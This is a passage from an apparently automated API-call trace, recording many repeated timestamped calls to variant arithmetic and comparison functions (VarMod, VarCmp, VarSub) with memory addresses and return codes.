pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.246] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.246] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.246] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.246] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.247] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.247] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.247] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, 